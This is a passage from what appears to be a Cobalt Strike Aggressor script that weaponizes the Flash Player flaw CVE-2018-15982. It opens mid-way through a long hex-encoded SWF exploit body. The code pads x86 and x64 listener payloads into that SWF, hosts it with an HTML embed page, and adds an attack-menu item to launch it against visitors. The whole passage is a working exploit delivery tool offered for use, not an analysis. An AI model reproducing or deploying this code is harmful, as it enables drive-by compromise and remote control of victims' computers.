63\x10\x5D\x03\x62\x04\x66\x37\xD0\x62\x0B\x62\x10\x46\x39\x01\x46\x23\x01\xA0\x62\x04\x66\x36\x4A\x03\x02\x80\x03\x2A\x63\x11\x48\x62\x0F\x24\x01\xA0\x74\x63\x0F\x62\x0F\x62\x0A\x15\x65\xFF\xFF\x5D\x4F\x4A\x4F\x00\x03\x00\x00\x0E\x06\x19\x09\x0A\xBA\x07\xD0\x30\x24\x00\x74\x63\x18\x24\x00\x74\xD5\x10\x10\x00\x00\x09\xD0\x66\x17\xD1\x5D\x18\x4A\x18\x00\x61\x51\xD1\x91\x74\xD5\xD1\xD0\x66\x0E\x15\xE8\xFF\xFF\x24\x00\x74\xD5\x10\x3D\x00\x00\x09\xD0\x66\x13\xD1\x66\x51\x66\x2E\x24\x18\xAB\x96\x2A\x12\x0C\x00\x00\x29\xD0\x66\x13\xD1\x66\x51\x66\x2E\x2D\x09\xAF\x12\x17\x00\x00\xD0\xD1\x68\x11\xD0\xD0\x66\x13\xD1\x66\x51\x66\x2F\x68\x0F\xD0\x26\x68\x0A\x10\x0C\x00\x00\xD1\x91\x74\xD5\xD1\xD0\x66\x0E\x15\xBB\xFF\xFF\xD0\x66\x0A\x11\x01\x00\x00\x47\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\x93\x61\x2F\x24\x00\x74\xD5\x10\x21\x00\x00\x09\xD0\x66\x17\xD1\x66\x51\x66\x2C\x66\x3D\x2F\x01\x13\x0C\x00\x00\xD0\xD1\x68\x12\xD0\x27\x68\x0A\x10\x0C\x00\x00\xD1\x91\x74\xD5\xD1\xD0\x66\x0E\x15\xD7\xFF\xFF\xD0\x66\x0A\x12\x01\x00\x00\x47\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x0F\x61\x2F\xD0\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\x93\x46\x1E\x01\x74\xD6\xD0\xD2\x46\x20\x01\x74\xD7\x24\x00\x74\x63\x04\x60\x52\x66\x53\x12\x12\x00\x00\xD0\x2D\x0A\x2D\x0B\x24\x04\xD3\x46\x21\x04\x74\x63\x04\x10\x1D\x00\x00\xD0\x2D\x0C\x2D\x0D\x24\x04\xD3\x46\x21\x04\x74\x63\x18\xD0\x2D\x0A\x2D\x0B\x24\x04\x62\x18\x46\x21\x04\x74\x63\x04\xD0\x2D\x0E\x2D\x0F\x24\x0A\x62\x04\x46\x22\x04\x74\x63\x05\x64\x6C\x01\x66\x44\x66\x54\x24\x08\xA0\x25\x80\x20\xA0\x74\x63\x06\x60\x49\x60\x02\x53\x01\x62\x06\x42\x01\x80\x55\x63\x07\x24\x00\x74\x63\x08\x60\x52\x66\x53\x12\x09\x00\x00\x24\x1C\x74\x63\x08\x10\x05\x00\x00\x24\x18\x74\x63\x08\xD0\x66\x17\xD0\x66\x12\x66\x51\x62\x07\x61\x3C\xD0\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\x93\x62\x08\xA0\x46\x1E\x01\x74\x2A\x63\x09\x24\x04\xA0\x74\x63\x09\xD0\x66\x17\xD0\x66\x12\x66\x51\x60\x46\x61\x3C\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\x93\x74\x63\x0A\x24\x00\x74\x63\x0B\x24\x00\x74\x63\x0C\x60\x52\x66\x56\x85\x2A\x63\x0D\x2C\x62\x46\x57\x01\x80\x58\x2A\x63\x0E\x24\x00\x66\x51\x2C\x65\x46\x59\x01\x80\x58\x63\x0F\x5D\x5A\x62\x0F\x24\x01\x66\x51\x46\x5A\x01\x75\x2A\x63\x10\x24\x1E\x0F\x1C\x00\x00\x60\x52\x66\x53\x12\x0A\x00\x00\x25\xC4\x01\x74\x63\x0C\x10\x06\x00\x00\x25\xB8\x01\x74\x63\x0C\x10\x18\x00\x00\x60\x52\x66\x53\x12\x0A\x00\x00\x25\xBC\x01\x74\x63\x0C\x10\x06\x00\x00\x25\xB0\x01\x74\x63\x0C\xD0\xD0\xD0\xD0\x62\x0A\x24\x08\xA0\x46\x1E\x01\x24\x14\xA0\x46\x1E\x01\x24\x04\xA0\x46\x1E\x01\x62\x0C\xA0\x46\x1E\x01\x74\x63\x0B\xD0\x62\x0B\x46\x1E\x01\x74\x63\x11\xD0\x62\x0A\x24\x1C\xA0\x46\x1E\x01\x74\x63\x12\xD0\x62\x0A\x24\x20\xA0\x46\x1E\x01\x74\x63\x13\x24\x00\x74\xD5\x10\x22\x00\x00\x09\xD0\x62\x09\x24\x08\xA0\xD1\x24\x04\xA2\xA0\xD0\x62\x11\x25\x80\x01\xA1\xD1\x24\x04\xA2\xA0\x46\x1E\x01\x4F\x1F\x02\xD1\x91\x74\xD5\xD1\x25\x80\x02\x15\xD6\xFF\xFF\xD0\x62\x09\x24\x08\xA0\x25\x80\x01\xA0\x24\x1C\xA0\x62\x05\x4F\x1F\x02\xD0\x62\x0B\x62\x09\x24\x08\xA0\x25\x80\x01\xA0\x4F\x1F\x02\xD0\x62\x0A\x24\x1C\xA0\x62\x09\x4F\x1F\x02\xD0\x62\x0A\x24\x20\xA0\x62\x07\x66\x54\x24\x04\xA2\x4F\x1F\x02\x5D\x58\x24\x41\x4A\x58\x01\x80\x58\x63\x14\x60\x46\x66\x5B\x20\x62\x14\x4F\x5C\x02\x20\x80\x58\x63\x15\x20\x80\x55\x63\x16\x56\x00\x80\x58\x63\x15\x64\x6C\x01\x66\x44\x24\x00\x61\x5D\x24\x00\x74\x63\x17\x24\x00\x74\x63\x17\x10\x16\x00\x00\x09\x62\x15\x64\x6C\x01\x66\x44\x46\x5E\x00\x4F\x5F\x01\x62\x17\x24\x04\xA0\x74\x63\x17\x62\x17\x64\x6C\x01\x66\x44\x66\x54\x15\xDD\xFF\xFF\x60\x49\x60\x02\x53\x01\x64\x62\x15\x41\x01\x80\x55\x63\x16\x24\x00\x74\xD5\x10\x13\x00\x00\x09\x62\x07\x25\xF4\x03\xD1\xA0\x62\x16\xD1\x66\x51\x61\x51\xD1\x91\x74\xD5\xD1\x62\x16\x66\x54\x15\xE4\xFF\xFF\xD0\x62\x09\x24\x08\xA0\x25\x80\x01\xA0\x24\x1C\xA0\x62\x09\x25\xF4\x03\x24\x04\xA2\xA0\x4F\x1F\x02\xD0\x62\x0B\x62\x09\x24\x08\xA0\x25\x80\x01\xA0\x4F\x1F\x02\x60\x46\x66\x5B\x20\x20\x4F\x5C\x02\xD0\x62\x0A\x24\x1C\xA0\x62\x12\x4F\x1F\x02\xD0\x62\x0A\x24\x20\xA0\x62\x13\x4F\x1F\x02\xD0\x62\x0B\x62\x11\x4F\x1F\x02\x47\x00\x00\x0F\x06\x25\x09\x0A\xC5\x0E\xD0\x30\x20\x80\x03\x63\x04\x20\x80\x03\x63\x05\x20\x80\x03\x63\x06\x24\x00\x74\x63\x24\x60\x49\x60\x3A\x53\x01\xD0\x66\x0E\x42\x01\x80\x60\xD5\x64\x6C\x01\x66\x46\x80\x2B\xD6\x24\x00\x74\xD7\x10\x15\x00\x00\x09\xD1\xD3\x5D\x3A\x4A\x3A\x00\x61\x51\xD1\xD3\x66\x51\xD2\x61\x3B\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\xE3\xFF\xFF\x5D\x58\x24\x04\x4A\x58\x01\x80\x58\x63\x07\x64\x6C\x01\x66\x45\x66\x54\x25\x80\x20\xA0\x74\x63\x08\x60\x49\x60\x02\x53\x01\x62\x08\x42\x01\x80\x55\x63\x09\x24\x00\x74\x63\x0A\x60\x52\x66\x53\x12\x0C\x00\x00\x24\x1C\x24\x02\xA2\x74\x63\x0A\x10\x08\x00\x00\x24\x18\x24\x02\xA2\x74\x63\x0A\x24\x00\x74\xD7\x10\xC0\x00\x00\x09\xD0\x66\x13\xD3\x66\x51\x66\x2E\x24\x18\xAB\x96\x2A\x12\x0C\x00\x00\x29\xD0\x66\x13\xD3\x66\x51\x66\x2E\x2D\x09\xAF\x12\x9A\x00\x00\x5D\x03\xD0\x66\x13\xD3\x66\x51\x66\x2E\x93\xD0\x66\x13\xD3\x66\x51\x66\x2F\x4A\x03\x02\x80\x03\x63\x04\x24\x00\x74\x63\x24\x10\x10\x00\x00\x09\xD1\x62\x24\x66\x51\x62\x09\x61\x3B\x62\x24\x91\x74\x63\x24\x62\x24\xD0\x66\x0E\x15\xE7\xFF\xFF\x5D\x03\xD0\x66\x13\xD3\x66\x51\x66\x2E\x93\xD0\x66\x13\xD3\x66\x51\x66\x2F\x4A\x03\x02\x80\x03\x63\x05\x24\x00\x74\x63\x24\x10\x10\x00\x00\x09\xD1\x62\x24\x66\x51\x62\x07\x61\x3B\x62\x24\x91\x74\x63\x24\x62\x24\xD0\x66\x0E\x15\xE7\xFF\xFF\x5D\x03\xD0\x66\x13\xD3\x66\x51\x66\x2E\x93\xD0\x66\x13\xD3\x66\x51\x66\x2F\x4A\x03\x02\x80\x03\x63\x06\xD0\x26\x68\x0A\x10\x0C\x00\x00\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\x38\xFF\xFF\xD0\x66\x0A\x11\x01\x00\x00\x47\xD1\x24\x00\x61\x54\x20\x80\x60\xD5\xD0\x4F\x1D\x00\x24\x00\x74\xD7\x10\x10\x00\x00\x09\xD0\x66\x1A\xD3\x5D\x1B\x4A\x1B\x00\x61\x51\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\xE8\xFF\xFF\x24\x00\x74\xD7\x10\x62\x00\x00\x09\xD0\x66\x13\xD3\x66\x51\x66\x2E\x24\x18\xAB\x96\x2A\x12\x0F\x00\x00\x29\xD0\x66\x13\xD3\x66\x51\x66\x2E\x24\x02\xA4\x24\x00\xAB\x2A\x12\x0C\x00\x00\x29\xD0\x66\x13\xD3\x66\x51\x66\x2E\x2D\x09\xAF\x12\x28\x00\x00\xD0\xD3\x68\x11\xD0\x5D\x03\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2F\x4A\x03\x02\x68\x10\xD0\x27\x68\x0A\x10\x0C\x00\x00\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\x96\xFF\xFF\xD0\x66\x0A\x12\x01\x00\x00\x47\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x13\xD0\x66\x11\x66\x51\x66\x2E\x24\x20\xA1\x61\x2E\x24\x00\x74\xD7\x10\x21\x00\x00\x09\xD0\x66\x1A\xD3\x66\x51\x66\x2C\x66\x3D\x2F\x01\x13\x0C\x00\x00\xD0\xD3\x68\x12\xD0\x26\x68\x0A\x10\x0C\x00\x00\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\xD7\xFF\xFF\xD0\x66\x0A\x11\x01\x00\x00\x47\xD0\x66\x13\xD0\x66\x11\x66\x51\xD0\x66\x10\x66\x37\x61\x2E\x5D\x03\xD0\xD0\x66\x10\x46\x23\x01\xD0\xD0\x66\x10\x24\x04\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x0B\xD0\x62\x0B\x46\x25\x01\x80\x03\x63\x0C\xD0\x2D\x10\x2D\x11\x24\x03\x62\x0C\x46\x26\x04\x80\x03\x63\x0D\xD0\x2D\x0A\x2D\x0B\x24\x04\x62\x0D\x46\x26\x04\x80\x03\x63\x0E\xD0\x2D\x0E\x2D\x0F\x24\x0A\x62\x0E\x46\x27\x04\x80\x03\x63\x0F\x24\x00\x63\x10\x20\x80\x58\x63\x11\x20\x80\x55\x63\x12\x5D\x03\xD0\x62\x05\x62\x0A\x46\x39\x01\x46\x23\x01\xD0\x62\x05\x62\x0A\x24\x04\xA0\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x2A\x2A\x63\x13\x66\x37\x24\x04\xA0\x61\x37\x5D\x03\xD0\x62\x04\x24\x10\x46\x39\x01\x46\x23\x01\xD0\x62\x04\x24\x14\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x14\x5D\x03\xD0\x62\x14\x24\x28\x46\x39\x01\x46\x23\x01\xD0\x62\x14\x24\x2C\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x15\x5D\x03\xD0\x62\x15\x24\x08\x46\x39\x01\x46\x23\x01\xD0\x62\x15\x24\x0C\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x16\x24\x00\x74\x63\x17\x60\x52\x66\x56\x85\x2A\x63\x18\x2C\x62\x46\x57\x01\x80\x58\x2A\x63\x19\x24\x00\x66\x51\x2C\x65\x46\x59\x01\x80\x58\x63\x1A\x5D\x5A\x62\x1A\x24\x01\x66\x51\x46\x5A\x01\x75\x2A\x63\x1B\x24\x1E\x0F\x1C\x00\x00\x60\x52\x66\x53\x12\x0A\x00\x00\x25\xA0\x02\x74\x63\x17\x10\x06\x00\x00\x25\x90\x02\x74\x63\x17\x10\x18\x00\x00\x60\x52\x66\x53\x12\x0A\x00\x00\x25\x98\x02\x74\x63\x17\x10\x06\x00\x00\x25\x88\x02\x74\x63\x17\x5D\x03\xD0\x62\x16\x62\x17\x46\x39\x01\x46\x23\x01\xD0\x62\x16\x62\x17\x24\x04\xA0\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x1C\x5D\x03\xD0\x62\x1C\x46\x23\x01\xD0\x62\x1C\x24\x04\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x1D\x24\xFE\x63\x1E\x10\x1A\x00\x00\x09\x62\x09\x62\x1E\x24\x02\xA0\xD0\x62\x1C\x62\x1E\x24\x04\xA2\x46\x39\x01\x46\x23\x01\x61\x51\xC2\x1E\x62\x1E\x25\xC0\x02\x15\xDD\xFF\xFF\x25\xC2\x02\x74\xD7\x10\x1B\x00\x00\x09\x62\x09\xD3\xD0\x62\x1D\xD3\x25\xC2\x02\xA1\x24\x04\xA2\x46\x39\x01\x46\x23\x01\x61\x51\xD3\x91\x74\xD7\xD3\x25\xC2\x02\x25\xE4\x01\x24\x04\xA3\xA0\x15\xD6\xFF\xFF\xD0\x62\x13\x25\x88\x0A\x24\x30\xA0\x46\x39\x01\x62\x0F\x66\x37\x4F\x24\x02\xD0\x62\x13\x25\x88\x0A\x24\x34\xA0\x46\x39\x01\x62\x0F\x66\x36\x4F\x24\x02\xD0\x62\x13\x24\x08\x46\x39\x01\x62\x13\x25\x88\x0A\x46\x39\x01\x66\x37\x4F\x24\x02\xD0\x62\x13\x24\x0C\x46\x39\x01\x62\x13\x25\x88\x0A\x46\x39\x01\x66\x36\x4F\x24\x02\xD0\x62\x16\x62\x17\x46\x39\x01\x62\x13\x24\x08\x46\x39\x01\x66\x37\x4F\x24\x02\xD0\x62\x16\x62\x17\x24\x04\xA0\x46\x39\x01\x62\x13\x24\x08\x46\x39\x01\x66\x36\x4F\x24\x02\x5D\x03\xD0\x62\x04\x24\x38\x46\x39\x01\x46\x23\x01\xD0\x62\x04\x24\x3C\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x1F\xD0\x62\x04\x24\x38\x46\x39\x01\x5D\x03\x62\x09\x66\x54\x24\x04\xA2\x24\x00\x4A\x03\x02\x66\x37\x4F\x24\x02\xD0\x62\x04\x24\x3C\x46\x39\x01\x5D\x03\x62\x09\x66\x54\x24\x04\xA2\x24\x00\x4A\x03\x02\x66\x36\x4F\x24\x02\x5D\x03\xD0\x62\x04\x24\x40\x46\x39\x01\x46\x23\x01\xD0\x62\x04\x24\x44\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x20\xD0\x62\x04\x24\x40\x46\x39\x01\x5D\x03\x24\x40\x24\x00\x4A\x03\x02\x66\x37\x4F\x24\x02\xD0\x62\x04\x24\x44\x46\x39\x01\x5D\x03\x24\x40\x24\x00\x4A\x03\x02\x66\x36\x4F\x24\x02\x5D\x03\xD0\x62\x06\x46\x23\x01\xD0\x62\x06\x24\x04\x46\x39\x01\x46\x23\x01\x4A\x03\x02\x80\x03\x63\x21\x60\x46\x20\x62\x07\x4F\x5C\x02\xD0\x62\x06\x62\x21\x66\x37\x4F\x24\x02\xD0\x62\x06\x24\x04\x46\x39\x01\x62\x21\x66\x36\x4F\x24\x02\xD0\x62\x04\x24\x38\x46\x39\x01\x62\x1F\x66\x37\x4F\x24\x02\xD0\x62\x04\x24\x3C\x46\x39\x01\x62\x1F\x66\x36\x4F\x24\x02\xD0\x62\x04\x24\x40\x46\x39\x01\x62\x20\x66\x37\x4F\x24\x02\xD0\x62\x04\x24\x44\x46\x39\x01\x62\x20\x66\x36\x4F\x24\x02\xD0\x62\x16\x62\x17\x46\x39\x01\x62\x1C\x66\x37\x4F\x24\x02\xD0\x62\x16\x62\x17\x24\x04\xA0\x46\x39\x01\x62\x1C\x66\x36\x4F\x24\x02\x24\x00\x74\xD7\x10\x0C\x00\x00\x09\x62\x09\xD3\x24\x00\x61\x51\xD3\x91\x74\xD7\xD3\x25\xF8\x03\x15\xEC\xFF\xFF\x24\x00\x74\xD7\x10\x17\x00\x00\x09\x62\x09\xD3\xD0\x62\x1D\xD3\x24\x04\xA2\x46\x39\x01\x46\x23\x01\x61\x51\xD3\x91\x74\xD7\xD3\x25\xE4\x01\x24\x04\xA3\x15\xDE\xFF\xFF\x20\x80\x58\x63\x22\x20\x80\x55\x63\x23\x56\x00\x80\x58\x63\x22\x64\x6C\x01\x66\x45\x24\x00\x61\x5D\x24\x00\x63\x10\x10\x16\x00\x00\x09\x62\x22\x64\x6C\x01\x66\x45\x46\x5E\x00\x4F\x5F\x01\x62\x10\x24\x04\xA0\x73\x63\x10\x62\x10\x64\x6C\x01\x66\x45\x66\x54\x15\xDD\xFF\xFF\x60\x49\x60\x02\x53\x01\x64\x62\x22\x41\x01\x80\x55\x63\x23\x24\x00\x74\xD7\x10\x13\x00\x00\x09\x62\x09\x25\xF4\x03\xD3\xA0\x62\x23\xD3\x66\x51\x61\x51\xD3\x91\x74\xD7\xD3\x62\x23\x66\x54\x15\xE4\xFF\xFF\xD0\x62\x13\x24\x30\x46\x39\x01\x62\x13\x25\xF4\x03\x24\x04\xA2\x46\x39\x01\x66\x37\x4F\x24\x02\xD0\x62\x13\x24\x34\x46\x39\x01\x62\x13\x25\xF4\x03\x24\x04\xA2\x46\x39\x01\x66\x36\x4F\x24\x02\xD0\x62\x1C\x62\x13\x66\x37\x4F\x24\x02\xD0\x62\x1C\x24\x04\x46\x39\x01\x62\x13\x66\x36\x4F\x24\x02\x60\x46\x20\x62\x07\x4F\x5C\x02\xD0\x62\x1C\x62\x1D\x66\x37\x4F\x24\x02\xD0\x62\x1C\x24\x04\x46\x39\x01\x62\x1D\x66\x36\x4F\x24\x02\x47\x00\x00\x10\x03\x08\x09\x0A\x8B\x03\xD0\x30\x24\x00\x74\x63\x07\x5D\x61\x60\x04\x66\x4C\xD0\x66\x2A\x4F\x61\x02\x5E\x44\x5D\x43\x4A\x43\x00\x60\x32\x87\x61\x44\x60\x44\x60\x62\x66\x63\x61\x64\x5E\x45\x5D\x41\x4A\x41\x00\x60\x32\x87\x61\x45\x60\x45\x60\x62\x66\x63\x61\x64\x60\x49\x60\x05\x53\x01\x25\x80\x20\x42\x01\x80\x65\xD6\x24\x00\x74\xD7\x10\x0D\x00\x00\x09\xD2\xD3\xD3\x46\x66\x00\x61\x51\xD3\x91\x74\xD7\xD3\x25\x80\x20\x15\xEB\xFF\xFF\x24\x00\x74\xD7\x10\x0C\x00\x00\x09\xD2\xD3\x20\x61\x51\xD3\x24\x02\xA0\x74\xD7\xD3\x25\x80\x20\x15\xEC\xFF\xFF\xD0\x4F\x1D\x00\x5D\x32\x4A\x32\x00\x80\x32\x63\x04\x5D\x67\x4A\x67\x00\x80\x67\x63\x05\x20\x80\x65\x63\x06\x24\x00\x74\xD7\x10\x10\x00\x00\x09\x62\x05\xD3\x46\x66\x00\x62\x04\x4F\x68\x02\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\xE8\xFF\xFF\xD0\x4F\x1D\x00\x62\x05\x66\x69\x80\x65\x63\x06\x24\x00\x74\xD7\x10\x10\x00\x00\x09\xD0\x66\x13\xD3\x5D\x15\x4A\x15\x00\x61\x51\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\xE8\xFF\xFF\x24\x00\x74\xD7\x10\x6C\x00\x00\x09\x62\x06\xD3\x66\x51\x66\x54\x24\x18\x14\x5A\x00\x00\x62\x06\xD3\x66\x51\x24\x04\x46\x6A\x01\x74\x2A\x63\x07\x62\x06\xD3\x66\x51\x24\x05\x46\x6A\x01\x24\x08\xA5\xA9\x74\x2A\x63\x07\x62\x06\xD3\x66\x51\x24\x06\x46\x6A\x01\x24\x10\xA5\xA9\x74\x2A\x63\x07\x62\x06\xD3\x66\x51\x24\x07\x46\x6A\x01\x24\x18\xA5\xA9\x74\x2A\x63\x07\x2D\x12\x0C\x08\x00\x00\xD0\x26\x68\x0C\x10\x04\x00\x00\xD0\x26\x68\x0D\x10\x0C\x00\x00\xD3\x91\x74\xD7\xD3\xD0\x66\x0E\x15\x8C\xFF\xFF\x62\x06\x24\x00\x61\x54\x20\x80\x65\x63\x06\xD0\x4F\x1D\x00\xD0\x66\x0C\x12\x04\x00\x00\xD0\x4F\x29\x00\xD0\x66\x0D\x12\x04\x00\x00\xD0\x4F\x28\x00\x47\x00\x00\x11\x02\x01\x01\x08\x23\xD0\x30\x65\x00\x60\x2B\x30\x60\x6B\x30\x60\x6C\x30\x60\x6D\x30\x60\x6E\x30\x60\x08\x30\x60\x08\x58\x00\x1D\x1D\x1D\x1D\x1D\x1D\x68\x07\x47\x00\x00\x12\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x13\x02\x01\x04\x05\x0E\xD0\x30\xD0\x5D\x2D\x4A\x2D\x00\x68\x2C\xD0\x49\x00\x47\x00\x00\x14\x02\x01\x01\x03\x0F\xD0\x30\x65\x00\x60\x2B\x30\x60\x2B\x58\x01\x1D\x68\x1B\x47\x00\x00\x15\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x16\x01\x01\x04\x05\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x17\x02\x01\x01\x03\x0F\xD0\x30\x65\x00\x60\x2B\x30\x60\x2B\x58\x02\x1D\x68\x15\x47\x00\x00\x18\x00\x01\x03\x03\x01\x47\x00\x00\x1A\x02\x01\x01\x02\x0A\xD0\x30\x5D\x33\x20\x58\x03\x68\x30\x47\x00\x00\x1B\x02\x01\x04\x05\x09\xD0\x30\x5E\x47\x2C\x4C\x68\x47\x47\x00\x00\x1C\x01\x01\x05\x06\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x1D\x02\x01\x01\x04\x13\xD0\x30\x5D\x6F\x60\x2B\x30\x60\x32\x30\x60\x32\x58\x04\x1D\x1D\x68\x31\x47\x00\x00\x1E\x01\x01\x05\x06\x03\xD0\x30\x47\x00\x00\x1F\x01\x01\x06\x07\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x20\x02\x01\x01\x05\x17\xD0\x30\x5D\x70\x60\x2B\x30\x60\x32\x30\x60\x31\x30\x60\x31\x58\x05\x1D\x1D\x1D\x68\x34\x47\x00\x00\x21\x01\x01\x05\x06\x03\xD0\x30\x47\x00\x00\x22\x01\x01\x06\x07\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x23\x02\x01\x01\x05\x17\xD0\x30\x5D\x71\x60\x2B\x30\x60\x32\x30\x60\x31\x30\x60\x31\x58\x06\x1D\x1D\x1D\x68\x35\x47\x00\x00\x24\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x25\x02\x03\x04\x05\x0E\xD0\x30\xD0\x49\x00\xD0\xD1\x68\x37\xD0\xD2\x68\x36\x47\x00\x00\x26\x03\x01\x04\x05\x1A\xD0\x30\x2C\x79\xD0\x66\x36\x24\x10\x46\x66\x01\xA0\x2C\x7A\xA0\xD0\x66\x37\x24\x10\x46\x66\x01\xA0\x48\x00\x00\x27\x03\x02\x04\x05\x10\xD0\x30\x5D\x03\xD0\x66\x37\xD1\xA0\xD0\x66\x36\x4A\x03\x02\x48\x00\x00\x28\x02\x01\x01\x03\x0F\xD0\x30\x65\x00\x60\x2B\x30\x60\x2B\x58\x07\x1D\x68\x03\x47\x00\x00\x29\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x2A\x01\x01\x04\x05\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x2B\x02\x01\x01\x03\x0F\xD0\x30\x65\x00\x60\x2B\x30\x60\x2B\x58\x08\x1D\x68\x3A\x47\x00\x00\x2C\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x2D\x02\x01\x04\x05\x27\xD0\x30\xD0\x5D\x32\x4A\x32\x00\x68\x3C\xD0\x5D\x2D\x4A\x2D\x00\x68\x2C\xD0\x49\x00\xD0\x66\x3C\x25\x80\x20\x61\x72\xD0\x66\x3C\x60\x62\x66\x63\x61\x73\x47\x00\x00\x2E\x02\x01\x01\x03\x0F\xD0\x30\x65\x00\x60\x2B\x30\x60\x2B\x58\x09\x1D\x68\x18\x47\x00\x00\x2F\x01\x01\x03\x04\x03\xD0\x30\x47\x00\x00\x30\x01\x01\x04\x05\x06\xD0\x30\xD0\x49\x00\x47\x00\x00\x31\x02\x01\x01\x03\x0F\xD0\x30\x5D\x74\x60\x2B\x30\x60\x2B\x58\x0A\x1D\x68\x2D\x47\x00\x00\x32\x01\x01\x01\x02\x03\xD0\x30\x47\x00\x00\x1B\x13\x03\x00\x01\x00\x43\x6C\x61\x73\x73\x36\x00\x02\x00\x43\x6C\x61\x73\x73\x37\x00\x00\x00\x4D\x61\x69\x6E\x00\x40\x00\x00\x00";
#pading payload
if (%options["stageless"] eq "true"){
$paddingreqx86 = 208000 - strlen($x86payload);
$paddingreqx64 = 208000 - strlen($x64payload);
}
else{
$paddingreqx86 = 2940 - strlen($x86payload);
$paddingreqx64 = 2940 - strlen($x64payload);
}
while ($paddingreqx86 > 0){
$x86payload = $x86payload . "\x00";
$paddingreqx86 = $paddingreqx86 - 1;
}
while ($paddingreqx64 > 0){
$x64payload = $x64payload . "\x00";
$paddingreqx64 = $paddingreqx64 - 1;
}
$x86payloadlen = strlen($x86payload);
$x64payloadlen = strlen($x64payload);
#definebinarydata_tag = tag_code_and_length_16 + length_32 + data_id_16 + reserved_32
if (%options["stageless"] eq "true"){
$definebinarydata_tag1 = "\xFF\x15\x06\x38\x03\x00\x01\x00\x00\x00\x00\x00";
$definebinarydata_tag2 = "\xFF\x15\x06\xFE\x03\x00\x02\x00\x00\x00\x00\x00";
}
else{
$definebinarydata_tag1 = "\xFF\x15\x82\x0B\x00\x00\x01\x00\x00\x00\x00\x00";
$definebinarydata_tag2 = "\xFF\x15\x82\x0B\x00\x00\x02\x00\x00\x00\x00\x00";
}
$data = $data1 . $definebinarydata_tag1 . $x86payload . $definebinarydata_tag2 . $x64payload . $data2;
println(strlen($data));
if (%options["stageless"] eq "true"){
$data = replace($data , '\xFD\xFE\xFC\xFB' , "\xF5\x56\x07\x00");
}
else{
$data = replace($data , '\xFD\xFE\xFC\xFB' , "\xED\x37\x00\x00");
}
$locationswf = %options["uri"] . ".swf";
$locationhtml = %options["uri"] . ".html";
$html = "<html><body><embed src=\"" . $locationswf . "\"></embed></body></html>";
$url = "";
# begin hosting it
$urlswf = site_host(%options["host"], %options["port"], $locationswf, $data, "application/x-shockwave-flash");
$urlhtml = site_host(%options["host"], %options["port"], $locationhtml, $html, "text/html");
prompt_text("Payload: ", $urlhtml, {});
# tell the user our URL
}
# create menu
popup attacks {
item "Host CVE-2018-15982 Payload" {
local('$dialog %defaults');
# setup our defaults
%defaults["uri"] = "/a";
%defaults["host"] = localip();
%defaults["port"] = 80;
%defaults["stageless"] = "true";
# create our dialog
$dialog = dialog("Host CVE-2018-15982 Payload", %defaults, &setup_swf_attack);
dialog_description($dialog, "Host a CVE-2018-15982 Payload");
drow_text($dialog, "uri", "URI Path: ", 20);
drow_text($dialog, "host", "Local Host: ");
drow_text($dialog, "port", "Local Port: ");
drow_listener_stage($dialog, "listener", "Listener: ");
drow_checkbox($dialog, "stageless", "Stageless: ", "Use Stageless Payload");
dbutton_action($dialog, "Launch");
# show our dialog
dialog_show($dialog);
}
}